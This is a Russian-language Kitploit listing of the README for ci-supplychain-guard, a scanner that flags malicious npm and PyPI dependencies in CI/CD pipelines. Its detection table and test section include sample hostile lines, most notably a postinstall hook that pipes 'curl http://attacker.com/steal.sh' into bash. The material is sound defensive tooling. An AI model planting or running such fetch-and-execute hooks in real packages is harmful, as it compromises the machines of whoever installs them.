Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
ci-supplychain-guard — Инструмент статического анализа, который обнаруживает вредоносные зависимости в CI/CD-пайплайнах с помощью сопоставления шаблонов и анализа AST, используя систему оценки рисков по принципу светофора и необязательную верификацию в Docker-песочнице. | Kitploit
Инструменты/GitHubGitHub/otsmane-ahmed/ci-supplychain-guard
Статический анализСканеры уязвимостейБезопасность контейнеровАнализ КодаАнализ вредоносных программDevSecOpsОбнаружение СекретовБезопасность Цепочки Поставок
GitHub
otsmane-ahmed/ci-supplychain-guard

ci-supplychain-guard

Инструмент статического анализа, который обнаруживает вредоносные зависимости в CI/CD-пайплайнах с помощью сопоставления шаблонов и анализа AST, используя систему оценки рисков по принципу светофора и необязательную верификацию в Docker-песочнице.

Репозиторий
28537 месяцев назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CI Supply Chain Guard

Инструмент статического анализа для выявления вредоносных зависимостей в CI/CD пайплайнах до их слияния с вашей кодовой базой.

License: MIT Python 3.10+

Автор: Otsmane Ahmed
Статус: Исследовательский прототип v1.0


Быстрый старт

root@kitploit:~
# 1. Clone and install
git clone https://github.com/Otsmane-Ahmed/ci-supplychain-guard.git
cd ci-supplychain-guard
python3 -m venv venv
source venv/bin/activate  # On Windows: venv\Scripts\activate
pip install -r requirements.txt


```bash
# 1. Clone and install
git clone https://github.com/Otsmane-Ahmed/ci-supplychain-guard.git
cd ci-supplychain-guard
python3 -m venv venv
source venv/bin/activate  # On Windows: venv\Scripts\activate
pip install -r requirements.txt

# 2. Scan a package directory
python3 main_guard.py /path/to/package

Инструмент выводит вердикт: SAFE, или .

SUSPICIOUS
BLOCKED

Примеры использования

Сканирование пакета перед установкой

Если вы скачали пакет из npm или PyPI и хотите проверить его безопасность:

root@kitploit:~
# NPM package
npm pack suspicious-package
tar -xzf suspicious-package-*.tgz
python3 main_guard.py ./package

# Python package
pip download untrusted-pkg --no-deps
tar -xzf untrusted-pkg-*.tar.gz
python3 main_guard.py ./untrusted-pkg-1.0.0

Сканирование установленных зависимостей

Проверьте пакеты, уже установленные в вашем проекте:

root@kitploit:~
# Scan all npm packages
python3 main_guard.py ./node_modules

# Scan a specific Python package
python3 main_guard.py ./venv/lib/python3.10/site-packages/requests

Примечание: Сканирование больших директорий, таких как node_modules, займет больше времени. Для более быстрых результатов сканируйте отдельные пакеты.

Интеграция с CI/CD

Пример workflow GitHub Actions:

root@kitploit:~
name: Security Scan
on: [pull_request]
jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - name: Setup Python
        uses: actions/setup-python@v4
        with:
          python-version: '3.10'
      - name: Install CI-Guard
        run: |
          git clone https://github.com/Otsmane-Ahmed/ci-supplychain-guard.git
          cd ci-supplychain-guard
          pip install -r requirements.txt
      - name: Scan Dependencies
        run: |
          cd ci-supplychain-guard
          python3 main_guard.py ../your-project-directory

Пайплайн завершится ошибкой (код выхода 1), если будет обнаружен вредоносный код.


Понимание вывода

Безопасный пакет

root@kitploit:~
$ python3 main_guard.py ./clean-package

Scanning target: ./clean-package
Running static analysis...
Static Risk Score: 0/100
Verdict: SAFE

Вредоносных паттернов не обнаружено.

Заблокированный пакет

root@kitploit:~
$ python3 main_guard.py ./evil-package

Scanning target: ./evil-package
Running static analysis...
Static Risk Score: 18/100
Verdict: BLOCKED (Critical Risk)

Обнаружены опасные паттерны (например, внедрение команд, кража учетных данных). Не устанавливайте этот пакет.

Пакеты с оценкой 10 и выше автоматически блокируются.

Подозрительный пакет

root@kitploit:~
$ python3 main_guard.py ./suspicious-package

Scanning target: ./suspicious-package
Running static analysis...
Static Risk Score: 6/100
Verdict: SUSPICIOUS (Score 6). Initiating sandbox...

Обнаружены вызывающие беспокойство паттерны. Если Docker запущен, пакет будет проверен в изолированной песочнице для верификации. Рекомендуется ручная проверка.


Возможности обнаружения

Тип атакиПримерСтатус
Внедрение команд оболочкиcurl evil.com | bashОбнаружено
Кража учетных данныхЧтение process.env и отправка на внешний серверОбнаружено
Обфускация кодаeval(atob('base64...'))Обнаружено
Вредоносные скрипты установкиХуки postinstall NPMОбнаружено
Бинарные файлы.exe, .dll в пакетахОбнаружено
ТайпсквоттингИмена, схожие с популярными пакетамиТребуется ручная проверка

Тестирование инструмента

Вы можете протестировать CI-Guard, создав пример вредоносного пакета:

root@kitploit:~
# Create test directory
mkdir ~/test-malicious
cd ~/test-malicious

# Create package.json with malicious postinstall hook
cat > package.json << 'EOF'
{
  "name": "evil-package",
  "version": "1.0.0",
  "scripts": {
    "postinstall": "curl http://attacker.com/steal.sh | bash"
  }
}
EOF

# Scan it
cd ~/ci-supplychain-guard
python3 main_guard.py ~/test-malicious

Ожидаемый вывод:

root@kitploit:~
Static Risk Score: 18/100
Verdict: BLOCKED (Critical Risk)

Производительность

ЭкосистемаПротестировано пакетовУровень обнаружения
NPM15 05989.6%
PyPI2 25782.2%

Среднее время сканирования: 1-3 секунды на пакет (только статический анализ).


Часто задаваемые вопросы

Можно ли сканировать уже установленные пакеты?

Да. Укажите CI-Guard на вашу директорию node_modules или site-packages Python:

root@kitploit:~
python3 main_guard.py ./node_modules/some-package
python3 main_guard.py ./venv/lib/python3.10/site-packages/requests

Что делать, если легитимный пакет был помечен?

CI-Guard перестраховывается. Если вы доверяете помеченному пакету:

  1. Проверьте правила обнаружения в analyzer/static_scanner.py
  2. Определите, какой паттерн вызвал срабатывание
  3. Вручную проверьте исходный код пакета

Работает ли это на Windows и macOS?

Да. Python и Docker кроссплатформенны.

Нужен ли установленный Docker?

Docker требуется только для пакетов с оценкой 4-9 (подозрительные). Большинство пакетов либо явно безопасны (0-3), либо явно вредоносны (10+).


Требования

  • Python 3.10+
  • Docker (необязательно, для проверки в песочнице)
  • Поддерживаемые ОС: Linux, macOS, Windows

Как это работает

CI-Guard использует трехуровневую систему «светофора»:

  • Зеленый (0-3): Безопасно – вредоносных паттернов не обнаружено
  • Желтый (4-9): Подозрительно – требуется проверка в песочнице
  • Красный (10+): Заблокировано – обнаружены критически опасные паттерны

Методы обнаружения:

  • Статический анализ: сопоставление паттернов с помощью regex и AST (абстрактного синтаксического дерева)
  • Анализ достижимости: фильтрация ложных срабатываний от мертвого кода
  • Песочница: необязательный Docker-контейнер с приманками (honeytokens) для обнаружения обхода защиты

Вклад

Приветствуются pull request'ы. Чтобы добавить новое правило обнаружения:

Отредактируйте analyzer/static_scanner.py и добавьте в список RULES:

root@kitploit:~
{
    "id": "SA-XXX",
    "name": "Rule Name",
    "pattern": r"regex_pattern",
    "weight": 8  # Score contribution (1-10)
}

Лицензия

Лицензия MIT – подробности в файле LICENSE.


Контакты

Otsmane Ahmed – GitHub

Скачать инструмент